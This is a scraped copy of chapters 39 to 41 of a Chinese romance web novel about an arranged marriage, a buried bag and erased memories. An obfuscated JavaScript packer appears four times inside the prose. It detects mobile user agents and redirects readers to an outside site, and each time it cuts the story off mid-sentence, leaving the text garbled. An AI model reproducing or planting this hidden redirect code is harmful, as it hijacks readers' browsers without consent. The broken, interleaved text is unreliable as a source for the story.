;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13151568|130760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，会表现得几乎不近人情。 “我知道你和林只是朋友。”Devin笑着说，“回国后，有没有去找过Toby的父亲？” 孟婧抿着嘴。 Devin知道她在读研期间生子，却不知道她失去那段时间的记忆，或者说除了研究小组和林屿，她没有告诉任何人。 一方面是孟婧无法解释自己的病情，毕竟现在医学都没有给出一个准确的定论，另一方面是，她不想让Toby认为自己找不到爸爸了。 所以周围人知道的越少越好。 火焰上的紫砂壶咕嘟咕嘟冒出白烟，孟婧边泡茶边说：“我觉得没有这个必要了。” Devin原以为孟婧回国发展是因为Toby的父亲，被她这么一说，好奇问：“那今后…” “Toby还小，离不开人，所以才决定把他带回国留在我身边。”孟婧叹了口气，“等他再大一点，有自己的想法了，不管是什么，我都会尊重。” 她体验过被捆绑的人生，便不会让自己的孩子再受到一丝一毫的约束。 “我没有责备你的意思。”Devin叹了口气，“我也是个单身父亲，所以非常理解你的心情，只是Sandra，你还这么年轻，如果遇到合适的，也应该放开自己的心。” 孟婧知道他指的是梁珞唯和自己的婚事。 “我没有放开吗？”孟婧故作惊讶地笑笑，“我和Toby父亲的事情…都过去了，但是梁先生…” 茶室内香气满溢，沁人心脾，孟婧跪坐在蒲团上，回想起很多个画面——她和梁珞唯初见的那场雪中误会，在空旷墓园内的搭救与争执，对方在宠物医院那个疲惫的背影…明明只见过两天，却不知不觉积攒了很多回忆。 孟婧将紫砂壶放回炉上。 她觉得梁珞唯或许就像面前这杯茶，即使给她机会嗅到了他与众不同的香，却依旧滚烫得让人无法靠近。非要时间去等，非要抓住一个合适的温度细品，才能真正的品尝他的味道。 可她没时间等，也没资格去品。 “梁先生或许是个很好的人，但作为结婚对象，是我配不上他。” Devin和梁珞唯更熟一些，对于两人的联姻，他显然有不同的看法：“梁从不做亏本的生意，这点你可以放心。” “他曾经向我打听过你，但是并没有派专人调查，足以看出对你的尊重。并且，还让我推荐过几位优秀的婚姻律师，并且表示这件事毫无隐瞒的必要。” 这点孟婧倒是没想到，她皱起眉头：“律师？” “是的。”Devin不小心被烫到，将茶杯放下，“他应该已经草拟了一份非常专业的婚前协议，有效期三年。” 孟婧咋舌。这个人，居然已经计划到这么详细了吗。 “他…他跟谁结婚都要签的，又不是为了…” 手机震动，茶水泛起涟漪，险些溢出到桌面，孟婧慌忙拿起手机，顺手点开了消息。 William.L：【你不在，它很不乖。[图片].jpg】 再点开，是一张大壮正在输液的照片，只是这个背景…怎么不是在医院？ Devin见孟婧脸色古怪，关心地问：“Sandra，怎么了吗？” “没事。”孟婧拧着眉细看，在图片的右下角，有一只泛着红的大手，青筋起伏的手背上居然也正插着输液管。 梁珞唯在搞什么啊… 39. 第三十九夜 孟婧和Devin分别后，去了一趟八宝山。如果昨晚梁珞唯的推测没错，那么孟梦在五年前的那天晚上驾车去梁宅的原因就清晰了。 距离事情发生已经过去那么长事件，当年酒驾造成的意外车祸早已成了定论，就算这件事情真的与梁庭什有关，在未查清楚之前，孟婧还不想用它去戳沈确的伤疤。 和梁珞唯联手查清楚，给逝者一个交代，可能是孟婧唯一能做的。 至于梁珞唯对她有所图这件事，她还是没有想好应对的方法，这既是一个可利用的把柄，又是一把悬在头顶的利剑，一旦处理不好，后果她承受不起。 回到家换了衣服，又和Toby视频了一会儿，孟婧这才慢悠悠回复微信。他可以在照片里暗戳戳卖惨，凭什么她不可以故意吊着？ Sandra.M：【抱歉，刚忙完。】 Sandra.M：【它看起来挺乖的。】 对方在十分钟以后回复：【你确定？[图片].jpg】 孟婧点开，照片应该是梁珞唯在家拍的。油润光泽的真皮沙发上有着星星点点的咬痕，扶手拼接的地方已经破掉，漏出内里的海绵。 接着又是一张照片，男人修长劲瘦的小臂内侧有几道很深的抓痕，从肘窝蔓延到手腕，泛着红肿，看起来有些血腥。 William.L：【我把医生请到家里，就是这样的结果。】 William.L：【输液的时候挣扎，输完液又乱咬。】 这是在和家长告状吗？孟婧噗地笑出来。 【是梁先生主动提出要照顾它的。】孟婧勾着唇角回复，【如果需要索赔，也应该去找狗主人，这方面恕我爱莫能助。】 【而且既然医生在，梁先生正好可以咨询一下，需不需要打狂犬疫苗。】 第二条消息还没发出去，对方便将电话打了过来。 梁珞唯的头像在屏幕正中央大咧咧亮着，孟婧靠在窗前看了几秒火烧般的粉色晚霞，这才按下接听。 “梁先生，我可没有人民币。”也许是因为今天心情不错，孟婧少了以往的拘谨和克制，语调微微上扬，带着江南女子特有的娇柔。 “我也没有别人的微信。”梁珞唯的声音依旧哑着，“沙发是从意大利运回来的，用不上人民币。” “哦。”孟婧看着远处映出颜色的山峦，“需要我把小仙的微信推给你吗？” “没兴趣。” “那梁先生打电话来的目的是？” 她自觉已经说得很清楚，他总不能还是来催婚的吧。 梁珞唯那边沉默了几秒，声音中带着疲惫：“那个裴燃…不是什么好人，你离他远点。” 像是附和般，电话那头传来大壮汪汪的声音。 孟婧挑眉：“你知道他？” 梁珞唯沉默半晌：“Devin下午发了朋友圈。” Devin爱交友的同时，也是个朋友圈刷屏爱好者，下午拉着孟婧和裴燃一通自拍，混着美食照发了九宫格。 孟婧自然也看到了，不仅看到，还给点了赞。 作为梁氏集团二把手，认识各个分部高管倒也不意外，只是梁珞唯的提醒显然带着浓厚的个人情绪，孟婧好奇：“你和裴燃认识？” 梁珞唯看了眼楼下在被咬破的沙发上悠然自得横躺着的长发男人，面色阴沉：“当然，他可是梁庭什在香港那边的得力干将，不然怎么可能出了事就第一时间来帮忙。” 孟婧说出自己的猜测：“董事会里有裴家的人？” 梁珞唯点点头。 孟婧看不到画面，只听到规律的呼吸声，权当他默认了。 “公事当然会公办，再说我是个编外人员，起不到什么决定性作用，至于私交，我和裴燃聊得投不投机，就不需要梁先生过问了。” 是挺熟的，都开始直呼其名了。梁珞唯吐出一口浊气，不冷不淡地告诫：“我说让你小心他，也并不全是指工作。算了…孟小姐有能力判断，用不着我多嘴。” 真是多此一举。 梁珞唯挂断电话才想起来，忘记和孟婧解释梁曼的身份，不过从刚才她的态度看来，早晨的事情根本就没有对她造成什么影响。 也不知道她一天天脑子里想没想正经事。 挂了一下午水，梁珞唯虽然退了烧，但今天发生的一桩桩一件件都让他头疼，看着沉迷打游戏的裴燃，他心里更是升起一顿无名火。 下了楼，梁珞唯将大壮领到沙发上，挤在裴燃脚边，勒令道：“姓裴的，能不能有点儿正常人的坐姿。” 裴燃正在攻塔，眼睛和拇指都紧紧锁在屏幕之上，挣扎着直起身子，嚷嚷着：“你知道我这一天有多辛苦么！刚才还和你哥通了电话，脑细胞至少死了三分之二。” 他和梁珞唯说话时自然切换成京腔，带着股赖皮赖脸的劲儿。 梁珞唯给自己倒了杯温水，又从冰箱里拿了一罐冰啤放在茶几上：“辛苦就滚回酒店，来我这蹭什么wifi。” “谁知道梁曼不在你这儿。” “Victory！”一局结束，裴燃锁上屏幕。 他单手打开易拉罐，语气还是欠欠的：“别以为刚才你打电话我没听见，呦喂还‘裴燃不是什么好人’，梁珞唯，你回国以后怎么堕落成这样了。” 梁珞唯抿了一口水温，吞下药片：“我堕落？你今天发的消息什么意思。” “什么什么意思。”冰凉的气泡下肚，裴燃清爽地叹了口气，“字面意思啊，孟婧不错，我很喜欢。” 初见时是对外貌的惊艳，午饭时再接触，觉得性格也好，哪里都觉得亲切。裴燃不像梁珞唯是个假把式，他自幼在香港长大，是圈内货真价实的花花公子，虽然没谈过什么正经恋爱，但是拍拖的女生大多都是温柔可爱型。 “你喜欢的多了。”梁珞唯垂着眸子，“当初在国外，最快一周换过几次女伴？” 两人在留学期间相识，每次相约去酒吧，一边是梁珞唯逢场作戏，一边是裴燃货真价实地享受其中。不过裴燃倒真是万花丛中过，片叶不沾身，不然梁珞唯也和他做不成朋友。 “都是哥的过客。”裴燃的啤酒已经见底，“那些人怎么能和孟婧比，我有种预感，她就是拉我上岸的那个人，本浪子要回头了！” “你敢。”梁珞唯踹了他一脚，“头不想要了？” 裴燃哈哈大笑，桃花眼中闪过揶揄，阴阳怪气地看着梁珞唯：“怎么，说都不让说的，陷进去了啊梁少。” 梁珞唯冷着一张脸：“她对我的计划有多重要，你应该清楚。” “是是是，我们都是你计划中的一环。”裴燃再次躺在沙发上，用手撑着脑袋，玩味地看着梁珞唯，“但是计划终有结束的那一天，你想过之后的事吗？” “之后？”梁珞唯皱眉，“当然是让梁庭什滚蛋，我接管梁氏。” “梁珞唯，活该你没老婆。”裴燃恨铁不成钢地叹了口气，“就不想想到时候的另一半？” “你是说孟婧？” “我可没说一定是她。”裴燃翻了个白眼，长长的刘海滑下来，“协议结婚到期之后，要离婚吗？梁珞唯，你是不是压根还没和孟婧谈到这些？” 梁珞唯不置可否：“签协 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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见到房主终于来了，一位阿姨指了指院子：“前几天风大，有棵树刮倒了，再后来又下那么大雪，今天清理院子时候我们才发现，树下面还埋了东西。” 天色已晚，即使院中灯火通明，依旧需要走近才能看清。孟婧绕过几棵腊梅，走到横在地上的一棵树旁。 这棵树长得不算茂盛，但看起来也有些年头，枝杈部分开着粉色的小花，根部的地方显出一个大洞。 孟婧疑惑地问：“坑里…是什么东西？” “一个袋子，我们没敢多看就收起来了。”其中一个阿姨拍了拍身上的土，“放屋里了，我去拿。” “谢谢。” 据她所知，这栋房子自从外公买下后就一直闲置着，这些树应该也是后来才种的，如果树下有东西，肯定是她自己埋的。 她环顾整个院子，树木错落有致，看式样倒都是她喜欢的。 怎么会想到在树底下埋东西呢？韩剧看多了吗。 孟婧心事重重，没多想便弯腰从那树上揪起一枝枝杈，拿到灯下细看。 可能是树倒了几天，又被雪冻到，树枝上的花已经变得皱皱巴巴，寒风吹过，有几片花瓣随着落下，已经没了生气。 孟婧回头问：“阿姨，您知道这是什么树吗？” 总觉得有点眼熟。 “我们也不懂，得找专门的园艺师傅来看。不过您如果不想要这树了，我们倒是可以负责拉走。” 孟婧摇摇头，心里有种莫名的空：“挺可惜的，我再找别人看看吧。” 几个阿姨正收拾东西时，院墙外传来狗狗兴奋的叫声。 “汪汪！嗷呜！” 手中的花被吓掉在地，陷落在一片洁白的雪面上。 孟婧尝试喊了一声：“大壮？” 40. 第四十夜 大壮听见自己的名字更加兴奋，边叫边顺着院墙一路跑到孟婧家的院门处，因为没有来过，又被牵引绳拉扯着，只能乖顺地坐在地上。 “梁先生遛狗啊？” 门口处影影绰绰的高大身形落在余光中，不细看也知道是谁。孟婧看了眼手机，比上次她带大壮出门的时间提前不少。 也是，一般人谁会大半夜遛狗。 “孟小姐这是？”梁珞唯没有要进门的意思，也没有往院子里乱看。他蹲下摸了摸大壮的头，拉绳子未果，无奈道，“它好像有点想去找你。” “进来吧，这是我家。”孟婧自然没有拒绝的理由。 连她自己都是第一次来，有个熟悉的人在，倒也能缓解一些紧张和焦虑。 大壮听懂了“进来吧”三个字，立马撒着欢往院子里冲，它已经一天没见到孟婧了，此时顾不得旁的，越过门槛直接朝她扑过去。 院中还有其他人，梁珞唯没敢松开绳子，结果就是被猛地拽起身，一个趔趄往前垮了一大步。 “小心！”孟婧忙要去扶他。 大壮咧着嘴，歪头看着眼前的场景，似乎是想起了之前某个夜晚上演的转圈圈游戏，于是，它再次围着两人疯狂跑动起来。 梁珞唯刚退了烧，由于起身太快，眼前过了两三秒的晕眩，再睁眼时，怀里多了个人。 因为两家房子离得近，孟婧毛衣外只披了披肩，此时结结实实地撞到对方怀里，算是全方位感受到了梁珞唯的“好身材。” “…抱歉。”梁珞唯咳了两声，想要低头扯掉绳索。 孟婧抿着嘴推开他，却没推动。梁珞唯的外套敞开着，她的手直接触到了里面的居家服。这人胸口的肌肉硬邦邦，肢体动作硬邦邦，连语气也是硬邦邦。 “梁珞唯。” “嗯？”梁珞唯有些慌乱的低头，鼻尖划过她额顶的碎发。一根，两根，脸上有点痒，但他没有注意。 孟婧视线从他的锁骨移至脖颈，再到红透的耳根，笑着说：“你傻不傻。” 梁珞唯：“…” 从他的视角向下看，刚好可以看到孟婧眼眶中的水汽，她嘴角扬着轻松的笑，像做坏事得逞的小猫。 不仅如此，女人柔软的爪子甚至大胆地钻进他的外套，滑上他的胸口，似乎想要抓走些什么。 梁珞唯感到前所未有的不安，却不知道怎样避开。他别过头，同时，脑中朦胧闪过似曾相识的场景——喝醉那晚，他在落雪的海棠树下看见的不是姜渔，而是孟婧。 孟婧趁梁珞唯愣住，从他手机抢过狗绳，三两下解开了桎梏，嘟囔着：“想起来了？那天在家院子。” 胸口一空，风也跟着钻进来，梁珞唯咳了两声，随即裹紧外套：“上次喝醉了，抱歉。” 梁珞唯真的很少道歉，不是他傲慢，只是大多数时候，都是别人对他更恭敬。 但是面对孟婧，似乎他总在犯错。 下午裴燃对他的提醒不是没有效果，梁珞唯思考了很久，觉得孟婧至今态度坚决地拒绝他，肯定是因为他没有将这些事情说清楚。 他不介意为这些事情主动一些。 “梁珞唯？” “嗯？”他终于回了神。 孟婧正猛撸着大壮的头，揉搓它的小脸，笑着说：“进去看看吗？” “太晚了，不太合适。”他现在需要时间消化刚想起来的事情，“不过确实有事情想和孟小姐谈谈，我希望…能约个正式的时间场合。” “那可能有点困难。”孟婧抱歉一笑，“明天我就要正式上班了，大概一周时间都在梁氏，不知道梁先生什么时候官复原职？” “大概要等梁庭什回国之后。”梁珞唯将手插进外套口袋，“大壮恢复的很好，医生说再输液三天就可以康复，不知道乔小姐什么时候回来？” “我还没问。”孟婧想了想，“如果她回来得早，我会让她亲自去梁先生家接狗的。” 大壮将脸在孟婧裤脚蹭了蹭，仰着头看她，仿佛有点难以接受。 梁珞唯干咳两声：“孟小姐不必急于和我划清界限，就算同意联姻，我也不会真的对你做什么。” 这又是怎么拐过来的话题，孟婧实在是被他的脑回路折服，她头脑一热，忽然想要逗他：“就不怕我想对你做点什么？” 梁珞唯冷着脸将狗绳牵到自己手心，攥紧：“这种玩笑就不必开了。” 孟婧将披肩裹紧：“你这人真是。” “那个，孟小姐。”保洁员从屋内走出，手里提着一个塑料袋，“东西拿来了，有点脏，可能需要您回去洗一洗。” 孟婧接过，直接拎在手上，没有打开查看：“谢谢了。时间也不早了，没有其他问题的话大家就先回去吧。” “好的，还有那个树…” “没关系，我再联系绿化师傅。”孟婧捡起刚才掉落在地的树枝，准备离开。 “那我先走了。”梁珞唯目光从她手上扫过，而后定住：“这是…” 孟婧以为他也觉得好看，特地挥了挥：“院子里有棵树倒了，不知道能不能救活，你认识？” 何止认识。这是特殊嫁接过的枝杈，花瓣的颜色和形状经过十几年不断进化，早已刻在他脑中。 姜渔精心栽培过的特殊木种，怎么可能出现在孟婧的院子里？好奇、疑惑、震惊，都不足以形容他现在的心情，各种猜测此起彼伏，扰得人心慌。 “在哪儿。”梁珞唯的声音有些颤抖，“我可以看看么。” “当然。”孟婧带他来到一棵倒下的树面前，“这个院子里其他树每种都是三三两两的，只有这种是单独一棵，可能确实不好养吧。” 梁珞唯蹲下身子，大壮也跟着凑过去，用鼻子细细嗅着什么，随后发出“汪汪”的叫声。 这棵西府海棠树干很细，枝杈也不如梁珞唯院子里的茂盛，看起来像是从树枝中分出来又重新栽种的，且年头不长。 梁珞唯在枝干上反复抚摸着，试图从中找到当年的真相。 树不会说话，但他会思考，这棵树是从他院子里分出去的已成事实，那么相应的答案也并不是大海捞针。 孟婧见他脸色不对，问：“怎么了吗？” “没什么。”梁珞唯起身，“我只是在想，孟小姐为什么不认识自己院子里种的东西。” 孟婧被戳到痛处：“几棵树而已，很重要吗？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13177875|130760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不重要就不重要吧。”梁珞唯放在口袋中的手攥成拳头，“我先走了。” 孟婧看了看树，又看了看男人匆忙离开的背影，不解地嘟囔：“一惊一乍。” 埋在树下的袋子并不是严格意义上的防水袋，所以经过地下多年浸泡腐蚀，袋中早就进了水汽和泥土，变得又脏又臭。 回到家后，孟婧花了十几分钟才将袋子打开，里面似乎是一件衣服，和一张已经软烂不堪的纸条。 衣服放在一旁，孟婧打开折成方块的纸，上面的字迹已经变得模糊不清，但孟婧依旧一下就认出了——这是从她笔记本上私下来的一页。 因为那本笔记本，现在还在她的行李箱中。 “xxxxxxlist”孟婧念出声，“还列了一二三四。” 明显是她的笔记，只不过内容被泥污染的模糊，只能隐约辨认：“梁…退婚…对钩？” 根据自己的行事作风，孟婧完全可以猜测出，这是一张列了todolist的清单，做计划是她从小到大的习惯，直到现在，她也会每年列出todolist作为努力目标。 所以五年前，她找梁珞唯退婚，而且还成功了！ 这件事极大鼓舞了孟婧，她继续看下去：“和帅哥…接吻？” 反复辨认了几遍，确实没错，孟婧吓得开始自言自语：“我疯了吗？这后面还打了勾？” 她和谁接吻了？会是Toby的父亲吗？ 反正无论如何，都不可能是梁珞唯。 不远处的梁宅，梁珞唯在打一通跨境电话。电话那头一直无法接通，他来回踱步，过了一会儿，又用笔记本电脑发了一封邮件。 大壮本来已经很困，但也许是感受到他内心的焦躁不安，也跟着他在房间里绕圈。 终于，在第五次按下播出键后，终于传来被应答的声音。 一人一狗终于停下脚步。 “Mike.”梁珞唯嗓音低沉，“在忙？” 电话是Mike的助手接的，又等了一会儿，正主的声音才从耳机里传出：“William，什么事情这么急？我还在看诊。” “知道，所以我已经预约了你今天余下的所有工作时间。” 梁珞唯作为vvip客户，每年向Mike所在的诊所交付巨大金额的服务费，并且定期支持相关研发项目，他的预约优先级几乎是全院最高。 不等Mike说话，梁珞唯先开口：“Mike，大概五年前，我出国养病，有没有找过你？” 电话那头短暂沉默：“五年前？那我要看一下就诊记录单才行。你也知道我年纪大了，五天前看过的病患都不记得呢。” “ok，反正也要查，再帮我看看，有没有发病记录，还有，我是什么时候开始停止随身录音的？” Mike说了一连串的“waitwait”，又问：“梁，到底发生什么事了，为什么开始纠结五年前？” “我怀疑，五年应该发生过什么事情。” “为什么会这么想？”Mike也严肃起来，“不会是又…” “不是幻觉。”梁珞唯斩钉截铁，“我好像忘记了一些很重要的事情。” 41. 第四十一夜 Mike挂了电话，长舒一口气。 助手听到诊室内没了声音，敲门进来：“老师，外面还有几位病人。” “下次吧，系统里已经有客户预约了。”Mike佯装翻找资料，直到助手离开，才又坐回椅子上。 “哎，每次都要把我逼疯。”Mike抓了抓头发，打开办公桌下的保险柜。 保险柜中存放的大多是重要文件和特殊病例，他从中拿出一个铁皮箱放在桌子上，陷入沉默。 箱子是定制的，角落处有“L.”的字样，盖子上拴着一把结实的密码锁，密码是梁珞唯上一次的就诊日期。 Mike做了个深呼吸，拨动到五年前的某个日期，“咔”的一声，锁扣弹开。 这个箱子并不是梁珞唯让他帮忙保存的，正相反，梁珞唯曾经试图摧毁它，直到遭到Mike强烈反对后，才将它交到诊所。 材质极好的金属盖缓缓掀开，所藏之物露出真容——厚厚一沓病例，手机，碎掉的录音笔，几份合同，和一个u盘。 Mike拿出其中一份合同，细细回忆着当年发生的事情。 五年前，梁珞唯学成归国。根据他留学期间的治疗情况，Mike对其回国用药予以减量。根据每日录音和发病记录，初回国那段时间，梁珞唯恢复得很好，所以停药了一段时间。 但一切不可控因素都来得那么突然。 那个夏天，发生过一次录音丢失事件，Mike联系研发中心，将最新产出的录音笔寄给梁珞唯后，出了事情。 Mike收到一份由梁珞唯寄出的样品，经过实验室监测，样品中含有大量境外最新研发出的致幻类药物。这种药物会使人晕眩，甚至产生幻觉，对于脑部神经存在问题的患者，会加重其发病概率，或严重影响其精神状况。 这种药物刚刚在国外被研制出，仅作为科学实验所用，并没有投放市场，因为这个样本的出现，实验被迫叫停，相关实验室内的所有工作人员开始接受调查，而Mike也因为牵涉其中，多写了不少报告。 根据调查结果，实验室有人将此类药物进行偷卖，买家清单中居然有谭家和刁家。 这是梁珞唯没有想到的事情，Mike由于身份受限，不能查到所有事情的原委，但他知道的是，梁珞唯并未对此有所动作，因为他病了。 起初只是老毛病:睡不着觉，或者出现姜渔死亡那天的幻觉，Mike按照以往习惯用药，却发现收效甚微。再到后来，梁珞唯出现了新的幻觉，至于具体内容，他在电话里无法表述。 所以Mike建议他面诊。 梁珞唯在国内已经消瘦得不成人样，外人只知道他是神经痛导致的失眠焦虑，所以出国养病的说辞也没遭到梁屹承和梁庭什的怀疑。 就这样，Mike终于见到了梁珞唯。 当时他的情况已经非常不好，只有通过大量服药才能获取少得可怜的睡眠时间，到最后，Mike不得不对他实行催眠，这才终于得知了病因。 影响他这段时间情绪波动的导火索是哥哥，主因则是一个女人。梁珞唯的潜意识对这个女人极为回避，甚至在催眠中都没有说出一次她的名字。 醒来后，Mike告知梁珞唯，他爱上一个女人。 Mike本想建议他做些其他事情转移注意力，逐渐淡化当时的情绪，谁知梁珞唯竟然主动要求将所有关于这个女人的记忆从自己脑中抹去。 他现在还记得当时梁珞唯的表情，那是一种终于被人窥探到的放松，又或者是对自我抵抗的放弃。 “不记得最好。”梁珞唯认真整理好沙发上的毛毯，“我还有很多事情要做，不可以被情绪绊倒。” “Mike，你必须帮我。” 这是很危险又极端的操作，Mike并没有太多相关治疗经验，可是梁珞唯的态度实在太坚决，当时的状况又确实不能再继续下去，所以两个人铤而走险。 好在，Mike在治疗过程中留了一个“后门”——他并没有完全删除掉梁珞唯那部分记忆，而是通过一个较长周期的催眠，逐渐将它们模糊在他脑海中。 这样的好处有两个：一是还有挽回的余地，今后可以通过再次催眠，进行记忆的恢复，但是恢复效果如何，至今还没有一个人试过。二是如果今后脑部受到刺激再次触发回忆，大脑不会排斥造成应激，只会产生类似幻觉的朦胧感觉。 就这样，通过持续两个月的持续治疗，梁珞唯终于逐渐忘掉了关于那个女人的一切。 五年过去了，一切都向好的地方发展，梁珞唯回国进入梁氏，一步步获得主动权，再通过海外掌握的种种把柄，终于动摇了梁庭什坚不可摧的位置。 可就在这么关键的时候，封闭的那段记忆居然发生了松动。 Mike知道，梁珞唯为了走到今天这个位置付出了多少，当年的合同里也明确约定，除非特殊情况，他不可以将梁珞唯的治疗方案告知他本人——这是梁珞唯自己要求的。 因此，刚才的那通电话并不会改变任何东西，Mike知道，“特殊情况”还没有发生。 如果可以，他希望那一天来得晚一点。 * 孟婧这一晚上做了很多朦胧但真实的梦，也许是刚回国的原因，梦的内容都是曾经在国内发生的事情。 她梦到沈确送自己去高考，结果到了考场上，发现笔袋里的所有笔都写不出来。再抬头，场景变换到大学时兼职的事务所，电脑黑屏，辛苦一周做的数据全丢了。正在焦急赶去客户公司时，又遭遇了车祸，醒来后医生告诉她，她的孩子没有了。 光怪陆离的泡沫一层套着一层，待到真正醒来，只觉得浑身都疲惫不堪。 可能昨晚穿得少，冻到了。 怕自己真的病起来，她忙起身冲了一包感冒灵。趁举着杯子吹凉的间隙，她走到洗衣房，又仔细看了看那件白色T恤，这是和那张纸条一起埋在树下的东西，因为被泥污泡脏，所以简单清洗了一下。 从领标看牌子不便宜，是孟婧常买的一家店，款式也基础，尺码嘛…不算小，但如果oversize穿也说得过去。 所以她为什么要把这件衣服埋起来呢…就因为它肩膀上有点破了？ 临出门前，乔小仙打来电话，说是明天就会结束工作回京，孟婧松了一口气，将去梁珞唯家接大壮的事情交代给她。 乔小仙奇怪地问：“姐，这么点儿事儿怎么说得郑重其事的。” “我和他…”孟婧想起昨晚梁珞唯临走时的凝重表情，“近期没什么再见面的必要。” “好，不管你做什么决定我都支持。” 可事实总要和人作对，孟婧越不想去了解他，偏偏就越要有人来提醒。刚出门，就遇上了那位梁珞唯的“青梅竹马”。 女人穿着皮草和长靴遛狗，把大壮都衬得金贵不少。 “孟小姐去上班啊。”梁曼嗒嗒跑了两下，任由大壮扑到孟婧身上。 “早上好。”孟婧摸了几下大壮的脑袋，突然想起来连这位女士的名字都不知道，“今天你遛狗？” 也许昨晚在这里过夜了。 对方似乎看出了她脑中所想，笑容满面地解释：“啊，梁珞唯不在家，托我帮忙，我这不是…也算有点经验么。” “嗯，麻烦您了，明天狗狗的主人回去接它，是找…” 对面的女人皱了皱眉：“你怎么都不问他去干嘛了？” “啊？”孟婧没反应过来，“梁先生去哪儿是他的自由。” 女人乐了：“哦，行，明儿我在家，什么时候来接狗都行。” 孟婧点点头，嗯了一声。不是“我在他们家”，而是“我在家”，几乎是明示了。 没想到梁珞唯喜欢这样的。 “那我先去上班了，再见。” “哎哎哎怎么不问我名字啊！”女人有点慌，在她身后说，“我叫梁曼，叫我曼姐就行哈！” 孟婧觉得这名字有些耳熟，但再不走就迟到了，只得回头朝她笑笑，加快脚步离开。 由于裴燃自上而下的积极配合，还有张沛这个老朋友从中做具体沟通，孟婧所在团队在梁氏集团的工作进行的异常顺利，起码没有预想中会出现的问题，这让孟婧暂无用武之地。 不过，由于梁庭什在国外调查进度的加快，国内这边出报告的时间也被缩短，孟婧身上也加了很多基础工作。好在乔小仙是个夜猫子，每当孟婧凌晨到家，都会有热腾腾的宵夜奉上。 时间一晃就是四天，这些日子中，孟婧没有见到过梁珞唯，也没有收到他的任何信息，这个人就像人间蒸发了一样，让孟婧有种他从未出现过的错觉。 很久没有这么高强度的工作了，孟婧似乎回到了刚步入职场的时候。Toby断奶后，她曾患上过严重的分离焦虑症，医生建议她尝试工作，或者一些可以转移注意力的事情，她就是在那时认识的Devin。 Devin是孟婧的病友，他因从小独自带大的女儿去其他国家留学而患病，但情况没有孟婧严重。两人投缘，孟婧的学历漂亮，口语也好，于是Devin内推她进事务所实习，这一进就再也没离开。 国外的工作不如国内卷，但审计这个行业在哪里都不清闲，孟婧逐渐在工作中找回了自我价值，而Toby也随着年龄的增长而越来越适应这样的相处模式——他自幼就是个独立又开朗的小大人。 忙归忙，累归累，偶尔抽时间和Toby视频之后，孟婧会莫名其妙想到梁珞唯，想到迟迟没有结果的联姻，想到她和他之间的纠缠和阻碍，想到他冻伤的那双手。 他看起来不像是会乖乖涂药的人，不知道会不会落下病根。 不过这些都只限于一闪而过的念头，孟婧没时间去付诸实践关心，这似乎也很没有必要。 工作日的最后一天，大家都有点疲惫，孟婧上班提前买了咖啡，拿到会议室时，众人都是眼睛一亮。 “怎么还剩一杯？”孟婧看着多出来的美式，环顾房间，“小姗呢？” 小姗是团队里最年轻的小姑娘，刚刚大学毕业，说话总是怯生生的。 Ethan看了一圈也没找到，刚要给她打电话，就收到了请假信息。 Ethan眉头皱起：“小姗昨晚回家太晚，从楼梯上摔下去了，现在在医院。” 大家七嘴八舌议论起来。 “我昨晚回家也晕头转向了，希望周末能休息，要不真熬不住。” “小姗那身子骨，看着就嘎嘣脆，在哪个医院？咱们周末去看看她。” “对了，小姗今天要跟车到津市去盘点的，咱们人手本来就不够，下周就要出报告了，资产这块儿还挺重要的…” “我这边还有一大堆凭证没抽…” “我还有二十几张报表数据没核对…” 孟婧见他们一脸愁容，主动请缨：“我手头没什么着急的，不然我去吧。” 她一个临时人员，身上没背固定的任务和指标，正适合当一块砖。 大家面面相觑，都有点不好意思。谁都知道盘点工作环境差，不仅内容繁琐麻烦，还要和当地分公司打交道，遇到好说话的还行，遇到脾气不好的，沟通起来很消耗人。 孟婧倒是无所谓，她也是从最基础的岗位一点一点干过来的：“我还没去过津市呢，就当游览码头风光了。” “你就是我的天使！”Ethan一脸歉意，“我马上联系他们财务说换人的事，身份证带了吗？如果工作量太大，周末可能还要加班…” “我回家取吧，顺便拿点换洗衣物。”孟婧将笔记本电脑收进包中，“梁氏会派车？” “是，还有资产和财务部门的工作人员同去。” 说话间，张沛敲门进了会议室：“大家这周辛苦，最后一天了，裴总来看看有什么需要帮忙的。” 随后，裴燃走进房间。 “这是…刚下班？”裴燃看孟婧拎着电脑正要走，“虽然报告要得紧，但是该有的休息还是不能少啊。” “裴总误会了。”Ethan连忙把小姗请假，孟婧要去盘点的事情说了， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13211948|130760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “可能要在津市过夜，她回家取点东西。” 